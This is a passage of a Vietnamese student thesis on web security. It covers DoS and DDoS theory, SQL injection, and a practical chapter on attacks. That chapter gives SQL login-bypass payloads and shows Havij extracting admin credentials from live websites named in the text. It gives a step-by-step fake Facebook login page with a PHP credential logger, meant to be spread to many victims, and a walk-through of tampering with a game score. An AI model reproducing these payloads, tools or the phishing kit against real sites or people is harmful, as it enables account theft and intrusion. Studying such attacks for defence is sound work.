TỪ CHỐI DỊCH VỤ (DOS)

Một phần của tài liệu Luận văn tốt nghiệp an ninh mạng và bảo mật web (Trang 29)

2.4.1Những mục tiêu của tấn công DOS

Tấn công DOS là kiểu tấn công làm cho dịch vụ mạng bị tê liệt, không còn đáp ứng được yêu cầu nữa. Loại tấn công này ảnh hưởng đến nhiều hệ thống mạng, rất dễ thực hiện và lại rất khó bảo vệ hệ thống khỏi tấn công DOS. Thực chất của DOS là Attacker sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ,... và làm mất khả năng xử lý các yêu cầu dịch vụ đến các máy khách khác. Các mục tiêu của DOS nhắm vào như sau:

Đây là kiểu tấn công cổ điển là làm đầy đĩa cứng của hệ thống. Đĩa cứng có thể bị đầy và không thể sử dụng được. Kiểu tấn công này hiện nay hầu như là không còn được sử dụng nữa.

Tấn công vào Ram

Tấn công chiếm một dung lượng lớn trên RAM cũng có thể gây ra các vấn đề hủy hệ thống. Kiểu tấn công tràn bộ đệm là một điển hình.

Tấn công vào Bandwidth

Phần băng thông giành cho mỗi hệ thống đều bị giới hạn, vì vậy nếu Hacker gởi nhiều yêu cầu đến hệ thống thì phần băng thông sẽ không đủ đáp ứng cho một khối lượng dữ liệu lớn đó.

Tấn công vào Swap Space

Hầu hết các hệ thống đều có vài trăm MB không gian chuyển đổi (Swap space) để phục vụ cho yêu cầu máy khách. Swap space thường dùng cho các tiến trình con có thời gian ngắn nên DOS có thể được dựa trên phương thức làm tràn đầy swap space nhằm hệ thống không phục vụ được cho các máy khách có nhu cầu sử dụng.

2.4.2Kỹ thuật tấn công

Tấn công DOS truyền thống SYN Flood

Trước khi tìm hiểu về tấn DOS truyền thống ta cần phải nắm rõ nguyên lý hoạt động của gói tin với giao thức TCP. Giao thức TCP là giao thức hướng kết nối, để bắt đầu kết nối thì sẽ có quá trình bắt tay 3 bước, trong lúc trao đổi dữ liệu sẽ có các gói tin ACK để thông báo gói tin thành công hay không và trước khi ngắt kết nối giữa bên gởi và nhận thì có quá trình 4 bước kết thúc. Vậy giờ ta sẽ tìm hiểu về bắt tay 3 bước vì phần này có liên quan đến DOS.

Hình 2.4: Bắt tay 3 bước trong giao thức TCP.

Ví dụ: Giả sử có máy chủ web B và máy khách A. Máy khách A vào trình duyệt gõ http://site.com khi vừa gõ xong và nhấn enter (bỏ qua các bước đi hỏi DNS) thì lúc này máy khách A và máy chủ B đang thực hiện bắt tay 3 bước trước khi kết nối truyền dữ liệu với nhau. Máy khách A sẽ yêu cầu kết nối đến máy chủ B với giao thức là HTTP và port mặc đinh là 80, nếu máy chủ B có dịch vụ web thì trả lời gói SYN và ACK lại và thông báo khả năng bên máy chủ như thế nào, tại máy khách A nhận được gói SYN từ máy chủ B thì nó liền gởi gói ACK cho máy chủ B để chuẩn bị sẵn sàng trao đổi dữ liệu với nhau.

Hacker đã dựa trên lỗ hổng của bắt tay 3 bước này. Giả sử Hacker gởi gói SYN lên cho máy chủ và máy chủ hồi đáp cho Hacker bằng gói SYN và ACK nhưng Hacker lại không nhận gói SYN và ACK từ máy chủ dẫn đến là máy chủ chờ đợi gói tin ACK từ Hacker gởi đến. Như vậy là máy chủ phải lưu quá trình đó lại vào bộ nhớ đệm và thử nghĩ rất nhiều yêu cầu SYN từ Hacker rồi máy chủ lại đưa các quá trình đấy vào bộ nhớ đệm. Đến một lúc nào đấy bộ nhớ đệm đầy dẫn đến tình trạng máy chủ không thể tiếp tục phục vụ cho các máy khách hay ta nói là rơi vào tình trạng từ chối dịch vụ.

Hình 2.5: Tấn công từ chối dịch vụ truyền thống. Tấn công DDOS vào băng thông

DDOS có nghĩa là nhiều Hacker cùng đánh vào một máy chủ hay một hệ thống mạng nào đấy. Tuy mạng của mỗi thằng Hacker không có băng thông lớn như máy chủ nhưng số lượng gói tin gởi đến máy chủ thì lại bị tắt nghẽn chỗ tiếp xúc giữa mạng Internet và mạng cục bộ của máy chủ đẫn đến tình trạng nghẽn mạng và hệ thống mạng sụp hoàn toàn.

Hình 2.6: Tấn công DDOS.

Không giống tấn công DOS, kiểu DDOS này tấn công rất khó chịu và đã đánh thì chắn chắn nạn nhân chỉ có chết. Điển hình là 28/11/2010 trang Wikileaks.org bị tấn công DDOS và hệ thống bị tê liệt hoàn toàn. Ngày 14/02/2012 mới đây một nhóm Hacker đã tấn công DDOS vào bkav.com.vn làm hệ thống ngưng hoạt động trong một ngày và cũng bị nhóm Hacker này lấy toàn bộ cơ sở dữ liệu hơn 100 ngàn tài khoản gồm tài khoản, mật khẩu đăng nhập forum, email và các thông tin cá nhân khác. Chỉ riêng với với con số email này cũng đã làm cho công ty an ninh mạng bkav gặp nhiều rắc rối rồi. Hacker hoặc spam mail gởi các thông tin sai lệnh đến email của người dùng và dẫn đến công ty sẽ mất uy tín.

Tấn công vào tài nguyên hệ thống

Đây là kiểu tấn công nhằm vào tài nguyên hệ thống như CPU, bộ nhớ, tập tin hệ thống, tiến trình,... Hacker là một tập hợp người dùng hợp lệ và được một lượng tài nguyên giới hạn trên hệ thống. Tuy nhiên, Hacker sẽ lạm dụng quyền truy cập này để yêu cầu cấp thêm tài nguyên. Như vậy, hệ thống hay những người dùng hợp lệ sẽ bị từ chối sử dụng tài nguyên. Kiểu tấn công sẽ khiến cho hệ thống không thể sử dụng được tài nguyên vì tài nguyên đã bị xài hết.

2.4.3Một số biện pháp bảo mật khắc phục

Giảm thời gian thiết lập kết nối và chờ kết nối. (đặc biệt với tấn công DOS truyền thống)

Dùng những phần mềm phát hiện DDOS.

Dùng firewall và IDS, IPS để có thể hiệu quả hơn.

2.5CHÈN CÂU TRUY VẤN SQL (Injection SQL) 2.5.1Mô tả 2.5.1Mô tả

SQL injection là một kỹ thuật cho phép Hacker lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để "chèn vào" (inject) và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng lường trước hay lỗi ngoại lệ). Hậu quả của nó rất tai hại vì nó cho phép Hacker có thể thực hiện các thao tác xóa, hiệu chỉnh,… Do có toàn quyền trên cơ sở dữ liệu của ứng dụng, thậm chí là máy chủ mà ứng dụng đó đang chạy. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle,...

Để xác biết websie nào dính lỗi SQL injection ta thêm dấu “ ’ ” vào sau thanh địa chỉ.

Ví dụ 1: http://www.locanresort.com/index.php?do=page&id=3‘sẽ xuất hiện thông báo như hình sau.

Hình 2.7: Một site bị lỗi SQL Injecion.

Ví dụ 2: (adsbygoogle = window.adsbygoogle || []).push({});

Hình 2.8: Một site khác cũng lỗi SQL Injection.

Mọi thông báo lỗi đều được Hacker ghi nhận và sẽ tìm cách vượt qua những lỗi đó để vào được bên trong của hệ thống.

Tấn công SQL Injection vượt form đăng nhập đơn giản Đầu tiên ta tạo 1 database đơn giản như sau:

CREATE TABLE `members` (

`id` int(4) NOT NULL auto_increment,

`username` varchar(65) NOT NULL default '', `password` varchar(65) NOT NULL default '', PRIMARY KEY (`id`)

);

INSERT INTO `members` VALUES (1, 'admin', 'admin123');

Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau:

<td>Username</td>

<td ><input name="myusername" type="text" id="myusername"></td> <td>Password</td>

<td><input name="mypassword" type="text" id="mypassword"></td> <td><input type="submit" name="Submit" value="Login"></td>

File checklogin.php nằm trên server dùng để kiểm tra thông tin do user nhập vào

có nội dung:

<?php

……….. $db_name="test"; $tbl_name="members";

mysql_connect("$host", "$username", "$password")or die("Không thể kết nối");

mysql_select_db("$db_name")or die("cannot select DB"); $myusername=$_POST['myusername'];

$mypassword=$_POST['mypassword'];

$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and

password='$mypassword'"; $result=mysql_query($sql);

$count=mysql_num_rows($result); if($count==1){

echo "CHUC MUNG BAN LOGIN THANH CONG"; }

else {

echo "SAI TEN DANG NHAP HOAC MAT KHAU"; }

?>

‘login'. Giá trị sẽ được browser chuyển về cho checklohin.php kiểm tra bằng cách dùng câu truy vấn :

SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'"

Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn:

“SELECT * FROM $tbl_name WHERE username=’admin’ and password='hi' or 'a'='a’ ". (adsbygoogle = window.adsbygoogle || []).push({});

Click 'Login' và chuyện gì đã xảy ra => đăng nhập thành công.

Chuỗi truy cập được thoả mãn khi điều kiện là password bằng 'hi' or 'a'='a’. Điều này luôn đúng và hacker sẽ đăng nhập với nick 'hack'. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website:

hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi') or ('a'='a hi") or ("a"="a 2.5.2Một số biện pháp bảo mật khắc phục

Việc tấn công SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hữu hiệu nhất là không cho hiển thị những thông điệp lỗi hệ thống cho người dùng thay vào đó bằng một thông báo lỗi do người lập trình hay quản trị viên phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng.

Kiểm tra kỹ giá trị nhập vào của người dùng, những kí tự đặt biệt,... Hãy loại bỏ các kí tự “, ’, ”, /, \, ;, “ và các từ khóa như NULL, CR, LF,... Sử dụng phương thức POST và mã hóa thanh URL của trình duyệt máy khách. Cô lập máy chủ CSDL và máy chủ WEB hay nói cách khách là máy chủ CSDL không được cài trên máy chủ WEB để đảm bảo tính bảo mật.

Nên sử dụng tài khoản với đặc quyền thấp để truy xuất vào CSDL. Có nghĩa là không phải nhất thiết khi nào cũng phải xài đến quyền Admin hay Root mà nên phân quyền cho các User đúng với mục đích của công việc, đúng với ý đồ của người quản trị viên.

CHƯƠNG 3: THỰC HÀNH VÀI KỸ THUẬT TẤN CÔNG ỨNG DỤNG WEB 3.1KỸ THUẬT TẤN CÔNG CHÈN MÃ LỆNH SQL (SQL INJECTION) 3.1.1Chuẩn bị

Để mà tấn công với kỹ thuật SQL Injection thì việc đầu tiên là phải xác định được site có lỗ hổng SQL Injection. Nếu chúng ta chưa xác định được lổ hổng mà cứ tấn công bừa thì không khác gì tấn công trong tuyệt vọng. Vậy để xác định được một site bị lỗi SQL Injection ta có nhiều cách sau đây là 2 cách được sử dụng phổ biến.

Dùng công cụ quét lỗ hổng

Ở đây sử dụng công cụ MaxISploit để quét các lỗ hổng về ứng dụng WEB, vì lý do các bài demo này được thực hiện trên các site còn sống trên Internet nên các thông tin nhạy cảm về site sẽ được che dấu, ví dụ như tên website,...

Hình 3.1: Quét lỗ hổng SQL Injection.

Như vậy là công cụ đã tìm ra lỗ hổng của site này là: http://doanhnhandaiviet.vn/product.php?id=517 Thủ công

Phương pháp thủ công thì khá là đơn giản hơn so với chúng ta dùng công cụ nhưng cũng phải nói là hên xui vì khi thử cách này thì may mắn chúng ta sẽ thử đúng với site bị lỗi. Chỉ cần ta thêm “ ‘ ” vào sau đường dẫn của site nếu nó bị lỗi thì sẽ như hình sau.

Hình 3.2: Thông báo site bị lỗi SQL Injection.

3.1.2Hiện thực

Ta lấy đường dẫn bị lỗi SQL Injection đưa vào công cụ để quét có tên là Havij

Hình 3.3: Công cụ Havij.

Thay vì chúng ta phải tìm tổng số table trong cơ sở dữ liệu thì chương trình sẽ tìm giúp chúng ta và nó sẽ load cho ta thấy tất cả các table để ta chọn.

Hình 3.4: Havij đã tìm thấy tài khoản.

Vậy là công cụ đã tìm thấy tài khoản và mật khẩu. Việc tiếp theo là Havij tìm đến trang đăng nhập vào admin.

Hình 3.5: Havij đã tìm thấy trang đăng nhập.

3.2KỸ THUẬT TẤN CÔNG TỪ CHỐI DỊCH VỤ MỘT WEBSITE (DOS) 3.2.1Chuẩn bị 3.2.1Chuẩn bị

Vì kỹ thuật này khá là nguy hiểm, sẽ không demo trực tiếp trên các website còn sống trên Internet nên sẽ dựng một website trên nền windows server 2k3 hay linux gì cũng được. Để đánh DOS trong mạng LAN thành công thì chúng ta cần chỉnh băng thông của website đó thấp xuống hoặc là số lượng kết nối đến website đó có giới hạn thì mới thấy rõ “từ chối dịch vụ” được. Ta vào thuộc tính của site đó trên IIS chỉnh lại như sau.

Hình 3.7: Giới hạn băng thông hoặc kết nối đến trang WEB.

3.2.2Hiện thực

Sử dụng công cụ để tấn công, tấn công DOS thì khá là dễ dàng chủ yếu là chúng ta hiểu được nguyên lý hoạt động của kỹ thuật tấn công này và phần sau này sẽ nói rõ nó lưu vết lại khi tấn công DOS, từ đó ta có thể tìm ra thủ phạm tấn công hệ thống mạng.

Hình 3.8: Công cụ tấn công DOS.

Hình 3.10 Máy chủ đã bị từ chối dịch vụ.

Để có thể biết được thủ phạm DOS website của mình là ai thì chúng ta sẽ phải đọc file log của hệ thống

Hình 3.12: File log của máy chủ web. (adsbygoogle = window.adsbygoogle || []).push({});

Với file này ta hoàn toàn có thể biết được chủ nhận của các cuộc tấn công DOS vào các máy chủ hay với website của chúng ta.

3.3KỸ THUẬT TẤN CÔNG GIẢ MẠO TRANG WEB (WEB PHISHING) 3.3.1Chuẩn bị 3.3.1Chuẩn bị

Phishing là một kỹ thuật hack phổ biến và nguy hiểm để ăn cấp thông tin bí mật của mọi người bằng cách tạo ra các trang đăng nhập giả. Hôm nay mình sẽ cho các bạn và thầy cô thấy làm thế nào để tạo ra được một trang giả mạo đơn giản.

Để thực hiện chúng ta cần tạo ra 3 file sau : 1) facebook.html, 2) mail.php, 3) log.txt

Bước 1:

Mở 1 trang web mà bạn muốn tạo fake login page. Ở đây mình ngái trang facebook.com. Hiện trang được rất nhiều người sử dụng , ta click chuột phải và chọn xem nguồn trang ( View page source )

Hình 3.13: Xem nguồn của website

Còn bây giờ ta hãy xóa toàn bộ nội dung trong “ ” và thay thế đó thành

Hình 3.14: Thay đổi phương thức truyền. Xong rồi ta lưu file trên lại với tên là “facebook.html”

Hình 3.15: Lưu file login.html Vậy là ta làm xong file fake login.html

<?php

header ('Location: https://www.facebook.com/login.php?login_attempt=1'); $handle = fopen("log.txt", "a");

foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?>

Hình 3.16: Code trang mail.php

.Khi ai đó click vào chữ đăng nhập trên fake page của bạn thì sẽ được chuyển hướng sang cái link “https://www.facebook.com/login.php?login_attempt=1”... đó là link thông báo sai mật khẩu nhằm đánh lạc hướng victim và bạn có thể chỉnh lại cái link đó tùy theo cách sử dụng của bạn.

Bước 3:

Tạo ra tiếp 1 file nữa là "log.txt" rồi để đó.

Vậy là xong...tiếp theo các bạn upload cả 3 file này nên 1 webhosting nào đó. Sau khi UPLOAD xong link fake page của bạn sẽ có dạng như hình sau :

Hình 3.17: Web hosting giả mạo đã Up lên.

3.3.2Hiện thực

Sau khi đã chuẩn bị xong hết giờ ta bằng một thủ thuật nào đó sẽ link này đến cho nhiều người. Khi họ gõ tài khoản và pass vào đó thì những thông tin đó sẽ được lưu lại ở file log.txt trên host. Mở file log.txt đó lên để xem.

3.4 Hack điểm trong Flash game3.4.1Chuẩn bị 3.4.1Chuẩn bị

Công cụ ta sử dụng cho vấn đề này ta chọn 1 ứng dụng tiêu biểu như là add on “Tamper data” của trình duyệt Firefox.

3.4.2Hiện thực

Bước 1: Sau khi chơi game xong, đăng nhập với tài khoản và pass vào hệ thống để lưu điểm. Trước khi click nút lưu điểm ta chọn Tools Tamper Data trên trình duyệt của Firefox.

Hình 3.19: Mở tiện ích Tamper Data Bước 2: Start tamper data

Hình 3.20 Bật chức năng Tamper Data

Bước 3: Khi ta bấm lưu điểm thì bảng tamper data hiện lên. Ta bấm vào chữ Tamper, ta chỉ cần thay đổi giá trị gscore=”***” sau đó bấm Sumit. Vậy là xong ta đã

Một phần của tài liệu Luận văn tốt nghiệp an ninh mạng và bảo mật web (Trang 29)